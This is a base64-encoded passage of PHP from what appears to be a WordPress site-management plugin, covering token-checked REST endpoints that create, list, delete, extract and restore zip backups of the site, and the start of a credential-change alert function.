U1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ1N3YXAgYmFjayBwYXJ0aWFsbHkgZmFpbGVkOiAnIC4gaW1wbG9kZSgnOyAnLCAkZXJyb3JzKV0sIDUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQHVubGluaygkaW5mb1snc3RhdGVfZmlsZSddKTsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdhY3RpdmUnID0+ICdwcm9kdWN0aW9uJ10pOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd1bmtub3duIGFjdGlvbiddLCA0MDApOwogICAgfQoKICAgIC8vIOKUgOKUgCBCYWNrdXA6IHByZXBhcmUgc3dpdGNoIGRpcmVjdG9yeSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEJhY2t1cFByZXBhcmVTd2l0Y2goV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICBAc2V0X3RpbWVfbGltaXQoMzAwKTsKICAgICAgICBAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzUxMk0nKTsKCiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJG5hbWUgPSBiYXNlbmFtZSgkYm9keVsnbmFtZSddID8/ICcnKTsKICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9ec3ctYmFja3VwLVtcd1wtXStcLnppcCQvJywgJG5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnaW52YWxpZCBiYWNrdXAgbmFtZSddLCA0MDApOwogICAgICAgIH0KICAgICAgICAkYmtEaXIgICA9IHNlbGY6OmJhY2t1cERpcigpOwogICAgICAgICR6aXBQYXRoID0gJGJrRGlyIC4gJy8nIC4gJG5hbWU7CiAgICAgICAgaWYgKCEkYmtEaXIgfHwgIWZpbGVfZXhpc3RzKCR6aXBQYXRoKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2JhY2t1cCBub3QgZm91bmQ6ICcgLiAkemlwUGF0aF0sIDQwNCk7CiAgICAgICAgfQogICAgICAgICRpbmZvICAgID0gc2VsZjo6c3dpdGNoSW5mbygpOwogICAgICAgIC8vIEJhY2t1cCBpcyBhbHdheXMgZXh0cmFjdGVkIHRvIEFCU1BBVEgvYmFja3VwLyAoaW5zaWRlIHRoZSBzaXRlIHJvb3QpCiAgICAgICAgJGRlc3REaXIgPSAkaW5mb1snYWJzcGF0aCddIC4gJy9iYWNrdXAnOwoKICAgICAgICBpZiAoJGluZm9bJ2FjdGl2ZSddID09PSAnYmFja3VwJykgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ1NpdGUgaXMgY3VycmVudGx5IG9uIGJhY2t1cCBtb2RlIOKAlCBzd2l0Y2ggdG8gcHJvZHVjdGlvbiBmaXJzdCddLCA0MDApOwogICAgICAgIH0KICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkZXN0RGlyKSkgewogICAgICAgICAgICAgICAgc2VsZjo6cm1kaXJSZWN1cnNpdmUoJGRlc3REaXIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghQG1rZGlyKCRkZXN0RGlyLCAwNzU1LCB0cnVlKSAmJiAhaXNfZGlyKCRkZXN0RGlyKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjYW5ub3QgY3JlYXRlIGJhY2t1cC8gZGlyZWN0b3J5IOKAlCBjaGVjayBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIFByb3RlY3QgdGhlIGJhY2t1cCBmb2xkZXIgZnJvbSBkaXJlY3Qgd2ViIGFjY2VzcwogICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGRlc3REaXIgLiAnLy5odGFjY2VzcycsICJSZXF1aXJlIGFsbCBkZW5pZWRcbkRlbnkgZnJvbSBhbGxcbiIpOwoKICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICRvcGVuZWQgPSAkemlwLT5vcGVuKCR6aXBQYXRoKTsKICAgICAgICAgICAgaWYgKCRvcGVuZWQgIT09IHRydWUpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY2Fubm90IG9wZW4gWklQIChlcnJvciBjb2RlOiAnIC4gJG9wZW5lZCAuICcpJ10sIDUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gZXh0cmFjdFRvKCkgc3RyZWFtcyBmaWxlcyDigJQgbm8gZnVsbC1maWxlIG1lbW9yeSBsb2FkaW5nCiAgICAgICAgICAgIGlmICghJHppcC0+ZXh0cmFjdFRvKCRkZXN0RGlyKSkgewogICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnWklQIGV4dHJhY3Rpb24gZmFpbGVkIOKAlCBjaGVjayBkaXNrIHNwYWNlIGFuZCBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRleHRyYWN0ZWQgPSAkemlwLT5udW1GaWxlczsKICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKCiAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkZSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2V4Y2VwdGlvbjogJyAuICRlLT5nZXRNZXNzYWdlKCldLCA1MDApOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdkaXInID0+ICRkZXN0RGlyLCAnZXh0cmFjdGVkJyA9PiAkZXh0cmFjdGVkXSk7CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcm1kaXJSZWN1cnNpdmUoc3RyaW5nICRkaXIpOiB2b2lkIHsKICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgcmV0dXJuOwogICAgICAgICRpdGVyID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZGlyLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QKICAgICAgICApOwogICAgICAgIGZvcmVhY2ggKCRpdGVyIGFzICRpdGVtKSB7CiAgICAgICAgICAgICRpdGVtLT5pc0RpcigpID8gQHJtZGlyKCRpdGVtLT5nZXRSZWFsUGF0aCgpKSA6IEB1bmxpbmsoJGl0ZW0tPmdldFJlYWxQYXRoKCkpOwogICAgICAgIH0KICAgICAgICBAcm1kaXIoJGRpcik7CiAgICB9CgogICAgLy8g4pSA4pSAIEJhY2t1cCBoZWxwZXJzIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGJhY2t1cERpcigpOiBzdHJpbmcgewogICAgICAgIC8vIFByaW1hcnk6IG9uZSBsZXZlbCB1cCBmcm9tIEFCU1BBVEggKG91dHNpZGUgd2ViIHJvb3QpCiAgICAgICAgJHBhcmVudCAgPSBkaXJuYW1lKHJ0cmltKHJlYWxwYXRoKEFCU1BBVEgpLCAnL1xcJykpOwogICAgICAgICRvdXRzaWRlID0gJHBhcmVudCAuICcvc3ctYmFja3Vwcyc7CiAgICAgICAgaWYgKChpc19kaXIoJG91dHNpZGUpIHx8IEBta2Rpcigkb3V0c2lkZSwgMDc1MCwgdHJ1ZSkpICYmIGlzX3dyaXRhYmxlKCRvdXRzaWRlKSkgewogICAgICAgICAgICByZXR1cm4gJG91dHNpZGU7CiAgICAgICAgfQogICAgICAgIC8vIEZhbGxiYWNrOiBpbnNpZGUgc2l0ZSByb290IGluIHN3LWJhY2t1cHMvIChzZXBhcmF0ZSBmcm9tIGJhY2t1cC8gd2hpY2ggaG9sZHMgZXh0cmFjdGVkIGZpbGVzKQogICAgICAgICRpbnNpZGUgPSBydHJpbShyZWFscGF0aChBQlNQQVRIKSwgJy9cXCcpIC4gJy9zdy1iYWNrdXBzJzsKICAgICAgICBpZiAoKGlzX2RpcigkaW5zaWRlKSB8fCBAbWtkaXIoJGluc2lkZSwgMDc1MCwgdHJ1ZSkpICYmIGlzX3dyaXRhYmxlKCRpbnNpZGUpKSB7CiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkaW5zaWRlIC4gJy8uaHRhY2Nlc3MnLCAiUmVxdWlyZSBhbGwgZGVuaWVkXG5EZW55IGZyb20gYWxsXG4iKTsKICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRpbnNpZGUgLiAnL2luZGV4LnBocCcsICc8P3BocCAvLyBzaWxlbmNlJyk7CiAgICAgICAgICAgIHJldHVybiAkaW5zaWRlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLy8g4pSA4pSAIEJhY2t1cDogbGlzdCAvIGNyZWF0ZSAvIGRlbGV0ZSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEJhY2t1cChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICAkbWV0aG9kID0gJHJlcXVlc3QtPmdldF9tZXRob2QoKTsKICAgICAgICAkZGlyICAgID0gc2VsZjo6YmFja3VwRGlyKCk7CiAgICAgICAgaWYgKCEkZGlyKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIGRpcmVjdG9yeSBub3Qgd3JpdGFibGUg4oCUIGNoZWNrIGZvbGRlciBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgIH0KCiAgICAgICAgLy8gR0VUIOKAlCBsaXN0IGJhY2t1cHMKICAgICAgICBpZiAoJG1ldGhvZCA9PT0gJ0dFVCcpIHsKICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkZGlyIC4gJy9zdy1iYWNrdXAtKi56aXAnKSA/OiBbXTsKICAgICAgICAgICAgJGxpc3QgID0gW107CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGxpc3RbXSA9IFsKICAgICAgICAgICAgICAgICAgICAnbmFtZScgICAgPT4gYmFzZW5hbWUoJGYpLAogICAgICAgICAgICAgICAgICAgICdzaXplJyAgICA9PiAoaW50KWZpbGVzaXplKCRmKSwKICAgICAgICAgICAgICAgICAgICAnY3JlYXRlZCcgPT4gKGludClmaWxlbXRpbWUoJGYpLAogICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB1c29ydCgkbGlzdCwgZnVuY3Rpb24oJGEsICRiKXsgcmV0dXJuICRiWydjcmVhdGVkJ10gLSAkYVsnY3JlYXRlZCddOyB9KTsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgICAgICdiYWNrdXBzJyAgICA9PiAkbGlzdCwKICAgICAgICAgICAgICAgICdkaXInICAgICAgICA9PiAkZGlyLAogICAgICAgICAgICAgICAgJ2Rpc2tfZnJlZScgID0+IChpbnQpQGRpc2tfZnJlZV9zcGFjZSgkZGlyKSwKICAgICAgICAgICAgICAgICdkaXNrX3RvdGFsJyA9PiAoaW50KUBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpLAogICAgICAgICAgICBdKTsKICAgICAgICB9CgogICAgICAgIC8vIERFTEVURSDigJQgcmVtb3ZlIGEgYmFja3VwCiAgICAgICAgaWYgKCRtZXRob2QgPT09ICdERUxFVEUnKSB7CiAgICAgICAgICAgICRib2R5ID0ganNvbl9kZWNvZGUoJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRib2R5WyduYW1lJ10gPz8gJycpOwogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9ec3ctYmFja3VwLVtcd1wtXStcLnppcCQvJywgJG5hbWUpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ludmFsaWQgYmFja3VwIG5hbWUnXSwgNDAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcGF0aCA9ICRkaXIgLiAnLycgLiAkbmFtZTsKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBAdW5saW5rKCRwYXRoKQogICAgICAgICAgICAgICAgPyBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlXSkKICAgICAgICAgICAgICAgIDogbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2RlbGV0ZSBmYWlsZWQnXSwgNTAwKTsKICAgICAgICB9CgogICAgICAgIC8vIFBPU1Qg4oCUIGNyZWF0ZSBiYWNrdXAKICAgICAgICBAc2V0X3RpbWVfbGltaXQoMTgwKTsKICAgICAgICBAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzI1Nk0nKTsKCiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHR5cGUgPSAoJGJvZHlbJ3R5cGUnXSA/PyAncXVpY2snKSA9PT0gJ2Z1bGwnID8gJ2Z1bGwnIDogJ3F1aWNrJzsKICAgICAgICAkbmFtZSA9ICdzdy1iYWNrdXAtJyAuIGRhdGUoJ1ltZC1IaXMnKSAuICctJyAuICR0eXBlIC4gJy56aXAnOwogICAgICAgICR6aXBQYXRoID0gJGRpciAuICcvJyAuICRuYW1lOwoKICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICBpZiAoJHppcC0+b3BlbigkemlwUGF0aCwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKSAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2Nhbm5vdCBjcmVhdGUgWklQIGZpbGUnXSwgNTAwKTsKICAgICAgICB9CgogICAgICAgICRiYXNlID0gcnRyaW0ocmVhbHBhdGgoQUJTUEFUSCksICcvXFwnKTsKICAgICAgICAkc2tpcFBhdHRlcm5zID0gWwogICAgICAgICAgICAnc3ctYmFja3VwcycsICcvd3AtY29udGVudC91cGxvYWRzJywgJy93cC1jb250ZW50L2NhY2hlJywKICAgICAgICAgICAgJy93cC1jb250ZW50L3VwZHJhZnQnLCAnL3dwLWNvbnRlbnQvYmFja3VwJywgJy8uZ2l0LycsCiAgICAgICAgICAgICcvbm9kZV9tb2R1bGVzLycsICcvdmVuZG9yLycsCiAgICAgICAgXTsKICAgICAgICAkY29kZUV4dHMgPSBbJ3BocCcsJ3BocDMnLCdwaHA0JywncGhwNScsJ3BocDcnLCdwaHRtbCcsJ2h0bWwnLCdodG0nLAogICAgICAgICAgICAgICAgICAgICAnanMnLCdjc3MnLCdqc29uJywnaHRhY2Nlc3MnLCdjb25mJywneG1sJywndHh0JywnaW5pJywnZW52Jywnc3FsJywnc2gnXTsKCiAgICAgICAgJHN0YXJ0ID0gbWljcm90aW1lKHRydWUpOwogICAgICAgICRjb3VudCA9IDA7CiAgICAgICAgJHNraXBwZWQgPSAwOwoKICAgICAgICB0cnkgewogICAgICAgICAgICAkaXRlciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKAogICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRiYXNlLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QKICAgICAgICAgICAgKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXIgYXMgJGl0ZW0pIHsKICAgICAgICAgICAgICAgIGlmICgobWljcm90aW1lKHRydWUpIC0gJHN0YXJ0KSA+IDE1MCkgYnJlYWs7IC8vIDE1MHMgc2FmZXR5CiAgICAgICAgICAgICAgICBpZiAoJGl0ZW0tPmlzRGlyKCkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgJHJlYWxQYXRoID0gJGl0ZW0tPmdldFJlYWxQYXRoKCk7CiAgICAgICAgICAgICAgICAkcmVsUGF0aCAgPSBsdHJpbShzdHJfcmVwbGFjZSgkYmFzZSwgJycsICRyZWFsUGF0aCksICcvXFwnKTsKCiAgICAgICAgICAgICAgICAvLyBTa2lwIGJhY2t1cCBkaXIgaXRzZWxmIGFuZCBleGNsdWRlZCBwYXRocwogICAgICAgICAgICAgICAgJHNraXAgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRza2lwUGF0dGVybnMgYXMgJHBhdCkgewogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJy8nIC4gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcmVsUGF0aCksICRwYXQpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc2tpcCA9IHRydWU7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2tpcCkgeyAkc2tpcHBlZCsrOyBjb250aW51ZTsgfQoKICAgICAgICAgICAgICAgIC8vIFF1aWNrIG1vZGU6IGNvZGUgZmlsZXMgb25seQogICAgICAgICAgICAgICAgaWYgKCR0eXBlID09PSAncXVpY2snKSB7CiAgICAgICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHJlYWxQYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KCRleHQsICRjb2RlRXh0cywgdHJ1ZSkpIHsgJHNraXBwZWQrKzsgY29udGludWU7IH0KICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRyZWFsUGF0aCwgJHJlbFBhdGgpOwogICAgICAgICAgICAgICAgJGNvdW50Kys7CiAgICAgICAgICAgIH0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgQHVubGluaygkemlwUGF0aCk7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIGZhaWxlZDogJyAuICRlLT5nZXRNZXNzYWdlKCldLCA1MDApOwogICAgICAgIH0KCiAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWwogICAgICAgICAgICAnb2snICAgICAgPT4gdHJ1ZSwKICAgICAgICAgICAgJ25hbWUnICAgID0+ICRuYW1lLAogICAgICAgICAgICAnZmlsZXMnICAgPT4gJGNvdW50LAogICAgICAgICAgICAnc2tpcHBlZCcgPT4gJHNraXBwZWQsCiAgICAgICAgICAgICdzaXplJyAgICA9PiAoaW50KUBmaWxlc2l6ZSgkemlwUGF0aCksCiAgICAgICAgICAgICdkaXInICAgICA9PiAkZGlyLAogICAgICAgIF0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBCYWNrdXA6IHJlc3RvcmUg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RCYWNrdXBSZXN0b3JlKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CgogICAgICAgIEBzZXRfdGltZV9saW1pdCgxODApOwogICAgICAgIEBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnMjU2TScpOwoKICAgICAgICAkYm9keSA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRib2R5WyduYW1lJ10gPz8gJycpOwogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15zdy1iYWNrdXAtW1x3XC1dK1wuemlwJC8nLCAkbmFtZSkpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdpbnZhbGlkIGJhY2t1cCBuYW1lJ10sIDQwMCk7CiAgICAgICAgfQoKICAgICAgICAkZGlyICAgICA9IHNlbGY6OmJhY2t1cERpcigpOwogICAgICAgICR6aXBQYXRoID0gJGRpciAuICcvJyAuICRuYW1lOwogICAgICAgIGlmICghJGRpciB8fCAhZmlsZV9leGlzdHMoJHppcFBhdGgpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgIH0KCiAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgaWYgKCR6aXAtPm9wZW4oJHppcFBhdGgpICE9PSB0cnVlKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY2Fubm90IG9wZW4gWklQJ10sIDUwMCk7CiAgICAgICAgfQoKICAgICAgICAkYmFzZSAgICAgID0gcnRyaW0ocmVhbHBhdGgoQUJTUEFUSCksICcvXFwnKTsKICAgICAgICAkZXh0cmFjdGVkID0gMDsKICAgICAgICAkZXJyb3JzICAgID0gW107CgogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICR6aXAtPm51bUZpbGVzOyAkaSsrKSB7CiAgICAgICAgICAgICRzdGF0ICAgID0gJHppcC0+c3RhdEluZGV4KCRpKTsKICAgICAgICAgICAgJHJlbFBhdGggPSAkc3RhdFsnbmFtZSddOwogICAgICAgICAgICBpZiAoc3Vic3RyKCRyZWxQYXRoLCAtMSkgPT09ICcvJykgY29udGludWU7IC8vIHNraXAgZGlyIGVudHJpZXMKCiAgICAgICAgICAgICR0YXJnZXRQYXRoID0gJGJhc2UgLiAnLycgLiAkcmVsUGF0aDsKICAgICAgICAgICAgJHRhcmdldERpciAgPSBkaXJuYW1lKCR0YXJnZXRQYXRoKTsKCiAgICAgICAgICAgIC8vIFNlY3VyaXR5OiB0YXJnZXQgbXVzdCBiZSB1bmRlciBBQlNQQVRICiAgICAgICAgICAgICRyZWFsVGFyZ2V0ID0gcmVhbHBhdGgoJHRhcmdldERpcikgPzogJHRhcmdldERpcjsKICAgICAgICAgICAgaWYgKHN0cnBvcygkcmVhbFRhcmdldCwgJGJhc2UpICE9PSAwKSBjb250aW51ZTsKCiAgICAgICAgICAgIGlmICghaXNfZGlyKCR0YXJnZXREaXIpKSBAbWtkaXIoJHRhcmdldERpciwgMDc1NSwgdHJ1ZSk7CgogICAgICAgICAgICAkY29udGVudCA9ICR6aXAtPmdldEZyb21JbmRleCgkaSk7CiAgICAgICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsgJGVycm9yc1tdID0gJHJlbFBhdGg7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJHRhcmdldFBhdGgsICRjb250ZW50KSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRlcnJvcnNbXSA9ICRyZWxQYXRoOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGV4dHJhY3RlZCsrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR6aXAtPmNsb3NlKCk7CgogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbCiAgICAgICAgICAgICdvaycgICAgICAgID0+IHRydWUsCiAgICAgICAgICAgICdleHRyYWN0ZWQnID0+ICRleHRyYWN0ZWQsCiAgICAgICAgICAgICdlcnJvcnMnICAgID0+ICRlcnJvcnMsCiAgICAgICAgXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIENyZWRlbnRpYWwgY2hhbmdlIG1vbml0b3Jpbmcg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gc2VuZEFsZXJ0KHN0cmluZyAkdHlwZSwgc3RyaW5nICRtZXNzYWdlKTogdm9pZCB7CiAgICAgICAgaWYgKCFkZWZpbmVkKCdTV19QQU5FTF9VUkwnKSB8fCAhZGVmaW5lZCgnU1dfUEFORUxfVE9LRU4nKSB8fCAhU1dfUEFORUxfVVJMIHx8ICFTV19QQU5FTF9UT0tFTikgcmV0dXJuOwogICAgICAgICRwYXlsb2FkID0ganNvbl9lbmNvZGUoWwogICAgICAgICAgICAnc2l0ZV9pZCcgICA9PiBTV19TRVNTSU9OX0lELAogICAgICAgICAgICAnc2l0ZV91cmwnICA9PiBnZXRfc2l0ZV91cmwoKSwKICAgICAgICAgICAgJ2FsZXJ0JyAgICAgPT4gWyd0eXBlJy